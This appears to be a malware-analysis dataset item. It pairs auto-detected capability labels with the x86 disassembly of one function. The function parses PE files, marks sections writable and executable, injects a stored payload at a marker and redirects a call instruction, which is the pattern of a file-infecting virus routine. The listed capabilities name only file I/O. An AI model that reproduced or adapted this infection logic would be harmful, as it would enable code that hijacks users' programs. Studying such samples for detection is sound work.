Function at 0x4010a0
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff78
push esi
push edi
push ebx
lea esi, [0x40541c]
lea edi, [ebp - 0x60]
lea eax, [sub.KERNEL32.DLL_CloseHandle]
mov dword [edi], eax
add edi, 4
lea eax, [sub.KERNEL32.DLL_ReadFile]
mov dword [edi], eax
add edi, 4
lea eax, [sub.KERNEL32.DLL_GetFileSize]
mov dword [edi], eax
add edi, 4
lea eax, [sub.KERNEL32.DLL_WriteFile]
mov dword [edi], eax
add edi, 4
lea eax, [sub.KERNEL32.DLL_CreateFileA]
mov dword [edi], eax
add edi, 4
lea eax, [sub.KERNEL32.DLL_GlobalFree]
mov dword [edi], eax
add edi, 4
lea eax, [sub.KERNEL32.DLL_GlobalAlloc]
mov dword [edi], eax
add edi, 4
lea eax, [sub.KERNEL32.DLL_lstrcatA]
mov dword [edi], eax
add edi, 4
lea eax, [sub.KERNEL32.DLL_lstrlenA]
mov dword [edi], eax
add edi, 4
lea eax, [0x402ca6]
mov dword [edi], eax
add edi, 4
lea eax, [0x402cb8]
mov dword [edi], eax
add edi, 4
lea eax, [0x402cca]
mov dword [edi], eax
add edi, 4
lea eax, [0x402cb2]
mov dword [edi], eax
add edi, 4
lea eax, [0x402cc4]
mov dword [edi], eax
add edi, 4
lea eax, [0x402cbe]
mov dword [edi], eax
add edi, 4
lea eax, [0x402cac]
mov dword [edi], eax
add edi, 4
lea eax, [0x402bc8]
mov dword [edi], eax
add edi, 4
lea eax, [sub.KERNEL32.DLL_Sleep]
mov dword [edi], eax
add edi, 4
lea eax, [sub.KERNEL32.DLL_WinExec]
mov dword [edi], eax
add edi, 4
lea eax, [0x402c28]
mov dword [edi], eax
add edi, 4
lea eax, [sub.KERNEL32.DLL_GetTempPathA]
mov dword [edi], eax
add edi, 4
lea eax, [0x402bb6]
mov dword [edi], eax
add edi, 4
lea edi, [ebp - 0x60]
xor ecx, ecx
jmp 0x4011c1
mov eax, dword [edi]
mov eax, dword [eax + 2]
mov eax, dword [eax]
add esi, 3
mov dword [esi], eax
add esi, 7
add edi, 4
inc ecx
cmp ecx, 0x16
jb 0x4011ae
mov esi, dword [ebp + 8]
xor ecx, ecx
xor ebx, ebx
jmp 0x40123a
cmp dword [ecx + esi], 0x4550
jne 0x4011df
mov eax, dword [ecx + esi + 0x28]
mov dword [ebp - 0x68], eax
cmp dword [ecx + esi], 0x7865742e
jne 0x4011fd
cmp dword [ecx + esi + 4], 0x74
jne 0x4011fd
mov eax, dword [ecx + esi + 0xc]
mov dword [ebp - 0x6c], eax
mov eax, dword [ecx + esi + 0x14]
mov dword [ebp - 0x70], eax
cmp dword [ecx + esi], 0x7273722e
jne 0x401239
cmp dword [ecx + esi + 4], 0x63
jne 0x401239
mov eax, dword [ecx + esi + 0xc]
mov dword [ebp - 0x74], eax
mov eax, dword [ecx + esi + 0x14]
mov dword [ebp - 0x78], eax
mov eax, dword [ecx + esi + 0x24]
cmp eax, 0xe0000060
jne 0x40122f
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 8
mov dword [ecx + esi + 0x24], 0xe0000060
jmp 0x401242
inc ecx
cmp ecx, 0x400
jb 0x4011cf
cmp dword [ebp - 0x6c], 0
je fcn.0040134a
cmp dword [ebp - 0x78], 0
je fcn.0040134a
cmp dword [ebp - 0x68], 0
je fcn.0040134a
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x6c]
add eax, dword [ebp - 0x70]
mov ecx, eax
jmp 0x401291
cmp byte [ecx + esi], 0xe8
jne 0x401290
mov dword [ebp - 0x7c], ecx
mov edx, dword [ecx + esi + 1]
add edx, 5
add edx, ecx
sub edx, dword [ebp - 0x70]
add edx, dword [ebp - 0x6c]
mov dword [ebp - 0x88], edx
jmp 0x401296
inc ecx
cmp ecx, dword [ebp + 0xc]
jb 0x401270
mov ecx, ebx
jmp 0x401341
cmp dword [ecx + esi], 0x79797979
jne 0x401340
cmp dword [ecx + esi + 4], 0x79797979
jne 0x401340
mov dword [ebp - 0x84], ecx
lea edi, [0x40541c]
xor eax, eax
jmp 0x4012d4
mov edx, dword [eax + edi]
mov dword [ecx + esi], edx
add ecx, 4
add eax, 4
cmp eax, dword [0x405410]
jb 0x4012c8
sub ecx, dword [0x405414]
mov dword [ebp - 0x80], ecx
sub dword [ebp - 0x80], 7
sub ecx, dword [ebp - 0x78]
add ecx, dword [ebp - 0x74]
sub dword [ebp - 0x88], ecx
sub dword [ebp - 0x88], 5
mov ebx, dword [ebp - 0x80]
sub ebx, dword [ebp - 0x78]
add ebx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x7c]
sub eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x6c]
sub ebx, eax
sub ebx, 5
mov ecx, dword [ebp - 0x7c]
mov dword [ecx + esi + 1], ebx
mov ecx, dword [ebp - 0x84]
add ecx, dword [0x405410]
sub ecx, dword [0x405414]
mov ebx, dword [ebp - 0x88]
mov dword [ecx + esi + 1], ebx
xor eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
ret 8
inc ecx
cmp ecx, dword [ebp + 0xc]
jb 0x40129d